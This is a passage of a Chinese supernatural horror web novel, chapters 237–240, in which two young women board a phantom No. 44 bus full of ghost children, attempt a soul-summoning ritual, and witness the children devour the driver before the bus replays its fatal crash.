这个时候，东方的天空逐渐泛起了一丝鱼肚白，黎明的曙光开始悄悄地穿透黑夜的帷幕。
原本漆黑一片的世界，也慢慢地被这微弱的光线所照亮，仿佛大地正在从沉睡中苏醒过来。
两个女孩简单整理了一下，便打算再睡一会儿。
今晚虽然已经要过去了，但至少还有一个多小时能睡觉，这对几乎是通宵熬夜的两人来说，也是不可多得的休息时间。
躺在床上，宋明夷睁着大眼睛看着天花板，心事重重、
沈聆见状，安慰道：“早点睡吧，明天我们还有很多事情要做。”
“嗯嗯……也不知道是不是咱们陵川市的地理位置不好，总是发生这些乱七八糟的事情。小聆聆，你说是不是啊？”
“这个我也不太清楚，要看风水的话，得去请教道长，不过，如果阴神真的还藏在陵川市，那么她选择陵川市一定是有她的道理的。”
“你说……她会不会再对我们出手？”
“不好说，我们已经破坏了她很多‘好事’，以她的性格，应该会报复我们。”
“但是为什么没见她出手？”
“可能是时机不对吧，现在孟婆和黑白无常都在陵川市，他们也在找她，也就是说，她的事情，地府也知道了，为了减少地府的关注，她可能会选择安静蛰伏一段时间。”
“她真的藏在梁家吗？”
“我没有证据，但是我的直觉告诉我，梁家和她，一定有很深的渊源……得找个机会，去梁家调查一下。”
“啊？梁家你要怎么进去啊？人家可是豪门望族，可不是我们这种平头百姓想进入就能进入的。”
“我虽然进不去，但是我外婆给了我一个机会。”
“嗯？”
“外婆说，梁家邀请她为老太夫人做一场法事，她打算把这个机会给我，到时候，你们三个可以说是我的助手，我们一起去梁家调查一下。”
“法事？你会做吗？”
“额，这个倒是不会，没关系，到时候外婆会教我的！”
“小聆聆，你现在可越来越像神婆子了，你不会到时候在现场跳大神吧？”
“什么乱七八糟的啊？哎呀，你快睡吧。”
“那你到时候记得要叫我啊！我可不想错过这一场好戏！”
“行。”
“对了，我打算今晚再去找一下灵异公交车。”
“你还去？你不怕……”
“哎哟，我要找的又不是英明神武、舍己为人的大好人张大爷，我要找的是44路公交！你想啊，既然现在我们已经知道了真的有灵异现象的存在，那么44路公交车很可能是真的存在，我想去调查清楚，说不定，能查出一些不为人知的真相。”
237. 再现灵异公交
随后的几天，沈聆和宋明夷又去蹲了几趟公交车站，但都一无所获。
不要说“44路公交”了，就连张荣大爷也没有再看到。
这一切就像是他们的幻觉一样，在那一晚过后，再也没有发生过。
最后，就连沈聆也对这件事情放弃了。
他们便再也没有提过关于44路灵异公交车的事情。
而这篇帖子，在网络上的热度也随着时间逐渐消退，毕竟再也没有后续新闻出来，这篇帖子便和其他都市怪谈一样，成为了网络中流传的恐怖故事。
一直到一个月后的某一天。
沈聆刚从平安医院出来时，恰好遇到了刚下夜班的宋明夷。
彼时，沈聆刚从沈凝的病房出来，提着保温桶后，宋明夷正打着哈欠走出医院。
“诶？！小聆聆！”
熟悉的声音从身后传来，沈聆转头一看，不是宋明夷是谁？
“你刚下班吗？”
“对，刚打算回去，你呢？刚去看了沈凝吗？”
“对，外婆熬了大骨汤，让我带给她喝。”
两人便这么并排走着，往公交站的方向而去。
夜幕笼罩着城市，街道上空无一人，显得格外冷清和寂静。
冷风呼啸而过，仿佛能穿透人的身体，带来丝丝寒意。
街边的路灯散发着微弱的光芒，像是被黑暗吞噬了一般，只能勉强照亮周围一小块一小块的地方。
沈聆和宋明夷并肩走着，说话的声音都带着几分疲惫，一个上了一天的班，一个上了一天的课。
“你妹妹好多了吗？我之前听住院部的医生说，她现在都能尝试着下床走路了，真的吗？”
“对，她现在四肢的协调性越来越好了，虽然和正常人还有一定的区别，但是比起之前已经好多了，康复科的医生说，要多和她说话，提高她的反应能力，另外，每天都扶她下床走一走，按摩一下肌肉，防止肌肉退化。”
“没事，总是要慢慢好的，毕竟之前伤得那么重，能从生死一线中活下来，你妹妹一定大难不死必有后福。”
“谢谢！其实我想着，她能这么快恢复，也是因为我和她共命，我是灵元草的宿主，灵元草的能力也在无形中传递给她。”
沈聆信心满满地说着，想起了车祸中满地是血的画面，也不由得后怕。
“一步一步来吧，沈凝能活下来，我已经很感激了，当时救援人员把她从车祸现场抬出来的时候，她像一个布娃娃一样手脚都是扭曲的，那画面……我终生难忘。”
“没事的，现在不是一点一点好起来了吗？你的努力都是有意义的。”
“希望吧，其实我也不知道自己能不能当好阴厨，但是听外婆说，一旦接任，就不能轻易卸任，否则必将遭到反噬，我只能尽力去做，当时也没有考虑那么多，就想着只要能让沈凝活下来，什么方法都应该尝试一下。”
“至少，这是一条可行的路，如果不是选择了这条路，或许……”
“对呀。”
两人的交谈声在寂静的夜色中时断时续，突然，一股阴恻恻的凉意毫无征兆地从背后涌来。
起初，她们还以为是夜风轻拂，可那股寒意却如活物般迅速蔓延，绝非寻常夜风可比。
那寒意宛如深秋清晨湖面上蒸腾的水雾，带着刺骨的湿冷，悄无声息地渗透进衣物，接触到皮肤的刹那，仿佛千万根细小的冰针同时扎入每一寸毛孔。
“嘶……怎么突然感觉这么冷，是我今天穿太少了吗？小聆聆你觉得冷吗？”
“不……其实我也感觉好像突然冷下来了，奇怪。”
两人下意识地缩了缩脖子，浑身汗毛倒竖，原本轻松的氛围瞬间凝固，不安与恐惧在心底悄然滋生，仿佛黑暗中有一双眼睛正死死盯着他们，令人不寒而栗。
这寒意顺着脊梁骨一路向上攀爬，如同一缕冰凉的丝线，顺着脊椎蜿蜒游走，最终窜上头顶，让头皮瞬间发麻。
就在二人正觉得奇怪之时，突然从身后照来一束昏暗的灯。
那昏黄色的灯光从身后照来，拉长了两人的影子。
在二人回头看去时，恰好看到一辆破旧的公交车从身后一点点驶来。
它的速度并不快，夜色之中不知为何多了些许白雾，公交车便自那白雾而来，如同破开海浪的船，迎面便朝着街道的这头驶来。
沈聆的瞳孔猛地收缩，呼吸也为之一滞。
只见迷雾中晕染出浑浊的光晕将眼前这辆公交车的轮廓切割成块块暗影，车身本应明亮的蓝色漆皮如老人龟裂的皮肤，在潮湿的夜风里卷曲剥落，露出底下暗红锈迹，像是伤口结痂后翻卷的血肉，车头的玻璃罩蒙着层灰绿色黏液，在路灯下泛着青幽幽的光，宛如某种生物腐烂的分泌物，顺着玻璃纹路缓缓流淌。
车辆在一点一点靠近，歪斜的车灯像失去焦距的眼球，深深嵌在扭曲变形的金属框架里，扭曲的框架边缘还挂着几缕不知是布条还是水草的絮状物，车身布满大片诡异污渍，灰褐与暗紫交织的色块层层叠叠，像是泼洒的墨汁与干涸的血迹。
更令人毛骨悚然的是那些奇怪凹陷，有的呈尖锐的爪痕状，有的则像被巨大钝器砸出的深坑，在朦胧光影中，整辆车仿佛是被无形巨兽蹂躏过的残破玩具，散发着令人窒息的诡异气息。
沈聆和宋明夷对视了一眼，她们的脸色都很难看。
彼此交换的眼神中充斥着不安，她们都意识到一件严重的事情——一直以来寻寻觅觅的灵异公交车，今晚现身了！
两人不由得往旁边退了几步，在公交车靠近之后，她们清清楚楚地看到公交车的车头挂着一个残破的车牌，上面写着“44路”这几个字。
“……看来这一切都不是假的。”
“小聆聆，我……我今晚没有带摄像机……我能用手机拍吗？”
“也不知道车上是什么东西，我建议是不要。”
沈聆沉着眼眸看着公交车的车头，车头的玻璃上满是污渍，她看不见公交车的驾驶座上坐着的是谁，这辆车的内部完全是一片漆黑，正是这样的
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黑，更让人感到心慌。
她俩恰好走到公交站台前，44路公交车就这么停在了她们面前。
三秒后，公交车的前门“吱吱呀呀”地打开了，那声音就仿佛是生锈了的铁片相互摩擦的声音，随后，一股阴风迎面吹来，将公交车上几片树叶吹到了二人脚边。
她们顺着这树叶看去，发现树叶已经发黄枯萎，不知道为何出现在公交车上，但公交车的脚踏、铁板上同样沾染着泥泞，潮湿着，散发着腐烂的酸臭。
“车门已开启，如需上车的乘客请排队上车，文明有序，按顺序入座。”
车内传来了提示音，似乎在催促着沈聆和宋明夷早下决定。
两人对视了一眼后，默契地选择了上车。
——这倒也不是因为不害怕，而是因为这样的机遇可遇不可求，一旦错过今晚，下一次不知道要到什么时候才能再见到“44路公交车”。
沈聆和宋明夷一前一后、小心翼翼地踩着那已经生锈的踏板上了公交车，这踏板上满是泥泞和脚印，仿佛随时都会断裂一般。
在二人登上公交的那一刻，一股浓烈得让人作呕的腐烂味道如同一股汹涌的浪潮般扑面而来。
这股味道是如此的强烈，以至于让人几乎无法呼吸。
它就像是一堆肉糜被放置了整整三个月，蛋白质完全腐烂所散发出的恶臭，那股臭鸡蛋味与汽油味相互交织，形成了一种极其刺鼻的气味，让人感到一阵晕眩。
上车之后，沈聆才发现，坐在驾驶座上的是一个约莫四十岁出头的男司机，他目视前方，面无表情，身上穿着蓝色的工作服，双手握着公交车的方向盘，就仿佛这一次停靠，似乎是再寻常不过的到站，他甚至没有看一眼上车乘客。
他看着，是一个活人，身上有皮肉，但皮肤的颜色却很奇怪，发黑、发黄，甚至有点儿……化脓一样的发绿。
“叮铃……”
沈聆的红色手链上，那银铃轻轻响了起来。
清脆的铃铛声仿佛是从幽冥地府传来的一般，让人毛骨悚然，这声音如同鬼魅一般，在空气中回荡，久久不散。
公交司机像是被这声音所吸引，缓缓地转过头，目光落在了沈聆身上。
他的动作异常缓慢，就像是一个被抽走了灵魂的木偶，机械而僵硬，当他的眼睛与沈聆对视的那一刻，沈聆不禁浑身一颤。
那是怎样的一双眼睛啊！毫无生气，仿佛是被硬生生地剥夺了生命的光彩，只剩下一片令人心悸的死寂。
司机的嘴巴微微张开，喉咙里发出一阵沙哑的声音，那声音仿佛是从地狱深处传来的，带着无尽的寒意和绝望。
“上车的乘客，请到后排入座，给老人小孩让座。”
“……好。”
沈聆低下头，拉着宋明夷往后走去。
这时她们才发现，公交车上的“人”还真不是少，几乎每一个座位都坐满了，而座位上的，全都是穿着校服、背着书包的孩子，他们齐刷刷地看着刚上车的沈聆和宋明夷，一张张小脸苍白如纸。
238. 机会
公交车金属门在身后发出"吱呀"一声合拢，沈聆指尖刚触到锈迹斑斑的扶手，掌心便传来潮湿的黏腻感。
这辆公交车内的空气像被冻住的腐水，霉味混着铁锈味钻进鼻腔，她下意识用袖口捂住口鼻，却仍旧可以嗅到布料上若有若无的腥甜。
六十座的车厢里整齐排列着十排座椅，每排六个座位都被磨得发亮的塑料椅面反射着车顶昏黄的光。
车内灯管在引擎震动中发出"滋滋"电流声，玻璃罩边缘结着蛛网般的霉斑，灯管投下的光晕里漂浮着细小的絮状物，像是某种生物脱落的绒毛。
当沈聆的视线扫过第二排座椅时，发现靠窗位置的椅背上刻着歪扭的字迹："不要回头"，新刻的木茬边缘还泛着青白，仿佛是刚刚完成的警告。
车窗玻璃蒙着三层灰垢，车外的暮色被滤成青灰色，只能隐约看见道旁的槐树在风中摇晃，树影投在窗上竟像是无数只扒着玻璃的手。
沈聆拉着宋明夷往后排走去，这些孩子都坐在靠窗或者是靠近前排的位置，只有后排仍旧有几个空位。
宋明夷默不作声地跟在沈聆身后，忽然感觉到自己踢到了什么东西，低头看见一个孩子的腿半伸出了座位，更诡异的是地板中央有道拖曳状的污渍，从车尾一直延伸到驾驶座下方，边缘还留着模糊的指抓痕迹。
她忍着恐惧，抬腿迈过了那孩子的腿。
让她感觉到不安的是，那条腿，明明是横隔出过道中的，但是那孩子却靠着窗户坐着，除非……这条腿已经和他的身体分开了，否则，是伸不到走道的。
公交车上，孩子们做得很直，他们虽然正是爱玩闹的年纪，但却都坐在各自的座位上沉默。
每个孩子都穿着蓝白色的校服，头上戴着黄色棒球帽，棒球帽的帽檐压得很低，像是为了遮住他们脸上的晦暗，沈聆注意到离她最近的女孩校服第三颗纽扣不见了，露出的锁骨处皮肤青白，像是被水泡发的尸体。
当她与女孩对视时，女孩那双瞳孔边缘泛着灰雾的眼睛突然转动，帽檐阴影里传来牙齿轻叩的"咯咯"声，像是在咀嚼什么坚硬的东西。
沈聆忙别开了视线，不敢与她对视。
两人就这么默不作声地摸到了倒数第二排的空位，沈聆让宋明夷靠窗，而自己则靠近走道坐下。
她们故作平常，不敢惊动这车上非人的存在。
“上车的乘客请注意，请往后排移动，及时给老人小孩让座，文明出行，文明你我。”
车内的广播再一次传来了提示音，这声音像是通往阴间的魔咒，那声音伴随着电流的“滋滋声”，听起来像是电流沿着肌肉骨骼蹿了过去。
车顶的灯光在某个瞬间突然暗下去，车厢陷入短暂的漆黑。
“咔嚓……”
44路公交车发动了，发动机轰鸣着，整辆车似乎又摇摇晃晃了起来。
暗处传来窃窃私语或是低沉的笑声，沈聆感觉有湿冷的气息拂过颈侧，惊觉自己身后的座椅传来织物摩擦的窸窣声——可那里本应是空座！
但她不敢回头，生怕自己回头会看到什么不干净的东西。
44路公交车行驶逐渐平稳，当灯光重新亮起时，那些孩子们全都背对着沈聆和宋明夷，他们乖乖坐在各自的座位上，像是泥塑的小人一般，没有任何动作，没有任何声音，整辆公交车安静得让人心惊，在这车上每过一分钟都是煎熬。
此时，沈聆注意到，司机座位后方的铁栅栏上挂着个褪色的平安符，红绳早已发黑，符咒边缘卷着焦黑的边角，像是被火烧过的痕迹。
引擎的轰鸣声中夹杂着金属摩擦的异响，每当44路公交车碾过路面的坑洼时，车顶便会簌簌落下细小的铁皮，混着不知何处来的细沙，打在塑料椅面上发出细碎的响声，像极了有人在轻声数着座位号。
这辆车要开往何方？
它为什么会在此时出现在这条路上？
这条路并不是网络帖子所说的那条路，难道灵异公交车的出现是随机的吗？
沈聆陷入了沉思。
突然，她想起了自己之所以和宋明夷出现在这里，是因为二人正从平安医院出来，而当时，那些伤重的孩子们，正是被送入了平安医院急诊室抢救！
可以说，平安医院是他们咽气的地方，是他们的生命终结的地方。
所以，44路公交车从这里出发，带上了每一个孩子，再一次重现了那一夜的场景。
但是，为什么偏偏是这些孩子们呢？
沈聆陷入了沉思。
在这个世界上，每天都有死于意外的人，但为什么是这些孩子们的魂魄不得安宁？他们徘徊在这个世间，是他们自己不愿意去投胎，还是有其他因素干扰了他们轮回的路？
沈聆下意识想到了阴神。
之前也是因为阴神的干预，导致面包店里有五个灵魂被困其中，做成了“小鬼”，不得转世，甚至最后魂飞魄散，可见，阴神是有能力干预的，那么这些孩子，是否也是她从中作梗？
沈聆看着那些孩子小小的背影，只觉得悲凉。
他们的人生才刚刚开始，便已经结束在了冰冷的山崖下，他们带着好奇探索这个世界，却在旅程还没有开始的时候就已经戛然而止，他们不恨吗？他们不想念家中的亲人吗？他们为什么被困在了这小小的公交车上，一遍又一遍重复着没有尽头的行程呢？
这太诡异了。
如果……
如果能和其中一个孩子了解一下情况，就好了。
只可惜，这些孩子自己也都不认识，看着也不像是会搭理自己的样子。
沈聆沉思着，突然，想到了什么。
“……李子晨。”
“什么？”
宋明夷突然听到了沈聆的声音，讶异地看着她。
她之所以惊讶，一方面，是因为在这个寂静如坟地的地方，沈聆居然还敢开口说话？另一方面，是因为她说出的那个名字，自己也知道是谁。
“我是说……李子晨。”沈聆顿了顿，看向了那些背对自己的孩子
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，“你还自己的老李的孙子，李子晨吗？当时我们在新隆公寓招魂的那个孩子，他也是这次校车事故的受害人，只不过，他的魂魄被我们召唤了，并送走了，他现在，不知道还在不在这里。”
“这个……”宋明夷也看向了那些孩子。
她的目光在那些相似的背影上转了一圈，似乎没有看到李子晨的背影。
李子晨是个小胖胖，他的背影很好认，而现在背对着自己的孩子们，全都是瘦弱的孩子，按道理，在死后，他们应该也会保持生前最后的模样，所以，他们应该原本就长这样的。
“李子晨好像不在？”
“嗯，我觉得也是，可能我们满足了他的心愿，帮助他逃离了这辆车，重入轮回。同样的道理，如果我们也能完成剩下这些孩子未完成的心愿，说不定，他们也能得到解脱。”
“但是你……等等，小聆聆，你拿你的背包要干嘛？你不会……”
宋明夷看着沈聆将黑色的背包拿到前面，她突然意识到沈聆要做什么。
“对啊，我可是随身携带的，这些工具。”
沈聆说着，拉开了背包的拉链，从背包里拿出了结魄灯、小镜子以及香炉。
宋明夷有不好的预感，忙按住了沈聆，压低声音说道：“别，别这样，我们之前做这些事情，都是在看不到鬼的时候做的，但是现在你看看，我们被他们困在车上，你这个时候招魂，万一惹怒了他们怎么办？”
“惹怒？我们一没有害死他们，二是来帮助他们的，为什么会惹怒他们？”
“我怎么知道啊，这些死了的孩子，怨气很重的！道长又不在旁边，万一出了什么事，我们对付不过来怎么办？你不会想着说用灵元草就能保下我们俩吧？你有灵元草，你是重伤也没关系，我可没有啊！”
两人虽然压低了声音在说话，但那说话声仍旧在公交车内显得有点嘈杂。
坐在前面的几个孩子微微回过头看向了她们，沈聆注意到，这些孩子的脖颈一直到侧脸，全都密布着黑色的血管，看起来就像是中了尸毒的模样。
“就算只有万分之一的概率，我也认为应该试试看，这些孩子，太可怜了，虽然我不知道能为他们做什么，但我想调查清楚她们为什么久久徘徊在人间，他们一定有什么没说出口的冤情！”
沈聆说着，已经拿出了三炷香。
——以往招魂，都要提前在三清面前请香，但现在，事从权益，她没有时间这么做了，她不知道自己能不能下这辆车，这可能是自己唯一一次能帮助这些孩子的机会。
如果真的能化解孩子们的冤屈，那按照阴厨的“职业规定”，这些孩子为了报答沈聆，会将自己的阴德和未尽的阳寿赠与她，那么沈凝就能更快地好起来。
说到底，她也是自私的。
为了让妹妹恢复得更好一点，她等了近乎一个月，才等来了这个机会。
她绝对不会错过它！
这么想着，沈聆心一横，用划燃了火柴，并用火柴点燃了三柱清香！
239. 招魂
沈聆颤抖着双手，小心翼翼地划着了火柴。
随着“嗤”的一声轻响，微弱的火苗在黑暗中跳跃起来，仿佛是一只被困在黑暗中的萤火虫，努力地释放着自己的光芒，她深吸一口气，将火柴凑近那三炷香，火苗像一个饥饿的小兽，迅速吞噬了香头，三炷香同时被点燃，散发出淡淡的烟雾。
就在这时，一股莫名的阴寒突然自前方袭来，如同一股黑色的旋风，席卷了整个公交车！
这股阴寒来势汹汹，让人猝不及防，沈聆只觉得全身的汗毛都竖了起来，一股寒意从脊梁骨上直冲脑门。
那阴寒的风吹开了沈聆脸颊的发丝，她下意识地抬起头，目光穿过缭绕的烟雾，隐约看到那些背对着自己的小孩子们静静地坐在座位上，一动不动，仿佛完全没有察觉到这股诡异的阴风。
然而，沈聆却感觉到那些小孩子的身上似乎正散发着一种令人恐惧的气场，那是一种无法用言语形容的压抑和阴森，让人不寒而栗。
气氛低到了冰点。
一个个背对着自己的孩子就仿佛是一座座小墓碑，他们依旧没有任何反应，无论公交车如何摇晃，都不为所动。
车窗外是一片白茫茫的雾，仿佛整个世界都被这白色的纱幕所笼罩，沈聆瞪大眼睛，试图透过那厚重的雾气看清外面的景象，但一切都是徒劳，她不知道自己现在是否还在陵川市，亦或是已经到了阴阳交界的地方。
这样的白雾让她心生不安，仿佛有无数双眼睛在暗处窥视着她，她不禁打了个寒颤，双手紧紧抓住座位扶手，身体微微前倾，似乎这样能让她稍微安心一些。
车外的白雾始终没有散去的迹象，它就像一个巨大的谜团，将44路公交车困在其中，让她无处可逃，她感到自己的呼吸都变得有些困难，那雾气仿佛钻进了她的鼻腔，让她有一种窒息的感觉。
在点香之后，她依次将小镜子、鎏金香炉和结魄灯放在了旁边的座位上。
宋明夷紧张地看着这一切的发生，她更不安的是，一旦打破了目前微妙的平衡后，这些孩子是会对她们下手，还是会有其他反应？
她不知道。
她也不知道44路公交车开往何处，在注意到车窗外的白雾后，宋明夷也开始为两人是否有脱身的办法感到不安。
“……我是第44任阴厨，沈聆，祭告上苍，抚慰亡灵，今天晚上我欲拜祭的，是陵川市44路公交车上的亡魂，是在圆山路交通事故中死去的孩子们。”
沈聆轻声说着，话音刚落，她手腕上的铃铛，摇晃得更加剧烈了。
“叮当……”
那清脆的铃声，听起来就像是恶灵催命的召唤！
在这公交车内，似乎有某种诡异的力量正在逐渐聚集。
车窗明明是紧闭的，但车内却吹起了莫名的阴风。
“天地阴阳，万物生灵，幽幽魂魄，徘徊于世，以灯为凭，以香为引，招魂于此，速速现身。”
说完这句话后，沈聆眼前浮现出了一片血红色。
暗红色的血珠正从车顶的缝隙中滴落，如同一场诡异的血雨，这血渍如同有生命般，沿着车顶的纹路肆意蔓延，很快便覆盖了大半的顶棚！
血珠顺着车窗的缝隙蜿蜒而下，在玻璃上留下一道道触目惊心的血痕，宛如一张张扭曲的面孔，车厢内的温度仿佛在瞬间降低，寒意顺着脚底爬上脊背，沈聆不由得打了个寒颤，感觉到体表温度此刻应该只剩下不到10℃。
更令人毛骨悚然的是，车厢两侧的金属扶手开始渗出细密的血珠……
扶手宛如无数伤口在流血，上面的血珠汇聚成线，沿着扶手滴落在座椅上，将原本灰色的布料染成刺眼的暗红色。座椅下方也传来滴答滴答的声响，仿佛有什么东西正在车厢底部不断流血。
更可怕的是，车窗外的白雾中，突然伸出了无数只苍白的手！
这些手如同幽灵一般，毫无规律地拍打着车窗，每一次拍打都在车窗上留下了一道道黑色的抓痕，仿佛是来自地狱的恶鬼在试图破窗而入。
而在那片白雾之中，隐隐约约还能看到一些似有若无的鬼脸，它们若隐若现，时而狰狞地笑着，时而露出痛苦的表情，仿佛在车窗外贴着玻璃，窥视着车内的一切。
与此同时，公交车上的座椅也开始渗出暗红色的血迹，这些血迹粘稠而腥臭，散发出一股令人作呕的腐烂味道，整个车厢都被这股恶臭所笼罩，让人几乎无法呼吸。
而在这诡异的氛围中，远方突然传来了一阵隐隐约约的哭泣声。
那哭声凄惨而哀怨，仿佛是从黄泉路上传来的，又像是有人在送别亡人。这哭声在寂静的车厢中回荡，让人的心跳愈发加快，恐惧也如潮水般涌上心头。
“黄泉已开，你们有什么冤情，皆可告诉我，我乃第44任阴厨，我会完成你们的心愿……”
话音未落，这些原本背对着自己的孩子们“刷”地转过头看向了沈聆和宋明夷！
他们的身体仿佛被定住了一般，纹丝不动，然而令人毛骨悚然的是，他们的脑袋却径直扭转了整整180度！
这诡异的一幕让坐在最后排的沈聆和宋明夷惊恐万分，她们瞪大眼睛，难以置信地望着眼前这恐怖的场景。
更可怕的是，当这些孩子的目光落在她们身上时，她们才惊愕地发现，这些孩子的眼睛竟然完全是黑色的，没有丝毫眼白和眼球的痕迹，就像是能吞噬一切黑暗的黑洞，深不见底，散发着无尽的寒意和恐惧。
那黑洞般的眼睛死死地盯着她们，仿佛要将她们的灵魂都吸入其中，让人不寒而栗，浑身的汗毛都竖了起来。
“小……小聆聆，我感觉好像不太对劲啊，他们为什么……为什么都在看我们？”
这一刻，沈聆也慌了神。
她原以为孩子的魂魄会出现在镜子里，但没想到这些孩子并没有生魂和死魂分离，车
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内的鬼魂，便是他们残存的生魂。
小镜子里并没有出现任何影子。
而真实存在于自己面前的恶鬼，便是他们的生魂！
大凶！
沈聆插在香炉上的三炷香突然断了，那断了的香落在她的手背上，烫到了她。
在她收回手的那一刻，这些孩子突然转过头去，看向了公交车驾驶座的司机。
沈聆和宋明夷还没有反应过来的时候，坐在最前排的孩子突然冲了上去，扑向了公交车司机，随后，更多的孩子站起身，朝着司机冲了过去。
他们扑在了司机身上，啃咬着司机的手脚，撕下了他的皮肉，并吞进自己的肚子里。
但司机却对此浑然不察，只是任由孩子们将自己的皮肉一口一口咬下！
皮肉撕开后，露出了皮下的白骨，喷涌而出的血液，染红了驾驶座的车窗，巨大的血腥味充斥着狭窄的车厢，皮肉撕裂的声音成为了咀嚼声之外唯一的动静！
沈聆和宋明夷呆坐在原位，不敢动弹。
这群孩子像疯了一样用尽全力将司机从座位上硬生生地扯了下来，行尸走肉一般的司机，身体猛地向后仰去，重重地摔倒在地上。
与此同时，失去了司机控制的公交车方向盘开始疯狂地空转起来，车轮也不受控制地左右摇摆，公交车就像一头失控的巨兽，在道路上摇摇欲坠。
“不要——”
沈聆和宋明夷惊恐地尖叫着，试图抓住身边的扶手或其他固定物来保持平衡，但这一切都无济于事，公交车的摇晃越来越剧烈，最终还是失去了平衡。
公交车周围的迷雾瞬间散去，沈聆和宋明夷这才发现，这辆车不知何时，已经走到了园山公路——交通事故发生的地段！
两侧的还没修复好的围栏，远处是山崖之下郁郁葱葱的树林，只听一声巨响，这辆公交车再一次重现了交通事故发生的那一瞬间，冲出了道路，直直地朝着山崖坠落下去。
“救命——”
沈聆和宋明夷惊恐万分，她们瞪大了眼睛，满脸都是恐惧和绝望，就在车辆突然冲出路面的瞬间，她们的身体像是被一股强大的力量猛地抛起，仿佛失去了重力一般。
车内的一切都在瞬间变得混乱不堪，物品四处飞舞，玻璃破碎的声音和金属碰撞的巨响交织在一起，让人毛骨悚然。
沈聆和宋明夷的身体在空中失去了控制，她们拼命地想要抓住什么东西来稳住自己，但一切都是徒劳。
最终，她们的身体狠狠地撞击在了前面座位的椅背上，脑袋受到了重创。
这突如其来的撞击让她们的眼前瞬间闪过一道白光，紧接着便是无尽的黑暗。
在失去意识的前一刻，沈聆和宋明夷的脑海中闪过无数的念头，有对生命的眷恋，有对家人和朋友的思念，还有对未来的恐惧和迷茫。
然而，这一切都在黑暗中渐渐消散，她们的世界变得一片死寂……
240. 冤情
“喵……”
迷迷糊糊之中，沈聆似乎听到了微弱的猫叫声从远处传来。
她的思绪沉浸在一片黑暗之中，这猫叫声就像是一根细细的牵引绳，将她的思绪从远处引回了现实中。
“喵……”
沈聆睁开眼睛，发现眼前是一个圆乎乎的小脑袋。
“喵……”
温热的舌头舔在她略显冰冷的脸颊上，她的视线聚焦，看清了眼前是自己养着的那只黑猫。
“警长？”
“喵……”
沈聆坐起身，这才发现自己和宋明夷正躺在园山公路交通事故的出事地点，她们躺在公路上，不远处还放着沈聆的黑色背包，以及被拿出来的鎏金香炉、小镜子和结魄灯。
宋明夷还在昏迷，但是从她的呼吸可以看出，她应该没什么大碍。
沈聆低下头检查了一圈，自己身上并没有外伤，只是晕过去了。
“你怎么知道我在这里呀……”
沈聆伸出手摸了摸警长毛茸茸的脑袋。
警长眯起了眼睛，似乎很享受主人的抚摸。
“喵……”
沈聆心事重重地看向路边的护栏。
——在事故发生时，公交车冲出了路面，并撞断了护栏，冲下山崖，警方调查结束后，在原先护栏断裂的地方拉起了警戒线，路政局还没有将护栏补上，因此，这一段断了的护栏仅仅只用一小段警戒线护着，夜风吹过，这警戒线便被吹得上下翻转，看起来十分凄凉。
“奇怪，我记得……我们明明坐在车上，和车一起冲下山了……”
沈聆沉默着，脑海中回想起方才惊现的一幕。
她深刻地记得，自己看见那些孩子一拥而上，将司机从驾驶座上拉了下来，并“分食”了他，随后，失控的公交车撞断了护栏，冲出了山崖，再后来，她的脑袋磕到了前面的椅背，便人事不省了。
此刻，她坐在地上，只感觉身体一阵疲软酸痛。
路灯昏暗着，照亮了一小块、一小块昏黄色的区域，也拉长了沈聆的影子。
头顶上方的夜空一片漆黑，没有一丝星光闪烁，仿佛整个宇宙都被黑暗吞噬，只剩下无尽的空虚和寂静。
“沙……”
夜风吹过，带来丝丝凉意，轻轻拂过沈聆的脸颊，她不禁打了个寒颤。
这股夜风似乎是从遥远的地方吹来的，带着些许陌生和孤独的气息，让沈聆感到一种说不出的凄凉。
“这些事情的发生，绝不是偶然。”
沈聆喃喃。
“我点亮了结魄灯，招魂后，这些孩子为什么会攻击司机？这里面一定另有隐情……”
沈聆想起了那些眼神空洞的孩子们，他们的眼睛，就如同这夜空一样，没有任何光亮，全黑的眼眸，让他们看起来宛如行尸走肉一样瘆人，更让她感到害怕的，是那些孩子们对公交司机作出的举动，这一举动完全超出了她的预料。
她原以为，在看向她们的那一刻，这些孩子便会扑上来攻击她们。
可事实证明，孩子们并没有这么做。
说明……
“他们是有仇恨的，而且，仇恨的对象很可能就是公交车司机……”
沈聆沉思着，脑海中想起了那坐在驾驶座的男人。
她记得，司机身上的蓝色工作服已经洗得有些发白，仿佛经历了漫长岁月的洗礼，他微微佝偻着身子，仿佛背负着千斤重担，每一个动作都显得异常艰难。
当他坐在驾驶座上时，那干瘦的身体几乎被座椅完全吞没，他的皮肤呈现出一种不健康的灰白色，仿佛失去了所有的生机，脸颊深深地凹陷下去，使得颧骨高高凸起，给人一种阴森恐怖的感觉。
他的眼睛尤其令人毛骨悚然，那是一双毫无生气的眼睛，就像死人的眼睛一般，空洞而无神，眼窝深陷，眼珠浑浊，没有丝毫的光彩。印堂处更是一片漆黑，仿佛被黑暗笼罩，让人不禁心生寒意。
这样的一个人，无论从哪个角度看，都完全不像是一个活人，更像是一个从地狱中爬出来的幽灵。
孩子们一定有什么想说出口却又没办法说出口的话。
才用了这样极端的方式表达。
他们有恨，所以才不愿意离开人间。
这样的恨意，很可能是对着司机的，所以才在我们面前展现了这一幕。
“哎哟……”
一个声音打断了沈聆的思绪。
她慢慢地转过头，目光落在了宋明夷身上，只见宋明夷的身体微微一动，似乎正在从沉睡中苏醒过来。
过了一会儿，宋明夷终于缓缓地睁开了眼睛，她的眼神还有些迷茫，像是还没有完全清醒过来，她抬起手，轻轻地揉了揉自己的额头，仿佛那里有些疼痛，然后，她又揉了揉眼睛，试图让自己看得更清楚一些。
“哎哟，我居然还活着吗？还是这里已经是地狱了？”
最后，宋明夷终于从地上坐了起来，她的动作有些迟缓，显然身体还没有完全恢复。她定了定神，环顾四周，似乎在确认自己所处的环境。
“不只是你，我也还活着。”
听到沈聆的声音，宋明夷转过头，一喜。
“小聆聆！看来我真活着！”
“对呀，恭喜你了。”
“不是，但是我记得我们刚才坐的公交车不是从山崖上翻下去了吗？？我还以为我死定了呢！”
“嗯，我也记得那一幕。”沈聆沉下脸色，“但是不知道为什么，我们还活着，可能……他们并没有想要我们的命，我想，是不是他们只是想让我们知道些什么。”
“你的意思是……”
“你想，这些孩子，这辆车，一直徘徊在陵川市，说明他们有冤情，甚至是某种特殊的原因让他们无法转世，他们为了让我们知道这些事情，就故意在车里做了那些诡异的举动，想以此让我们知道些什么……”
宋明夷回想起方才在公交车里发生的事情，不由得感到背后一凉。
“我记得他们好像……吃掉了司机。”
“对，所以我怀疑，他们仇恨的对象，
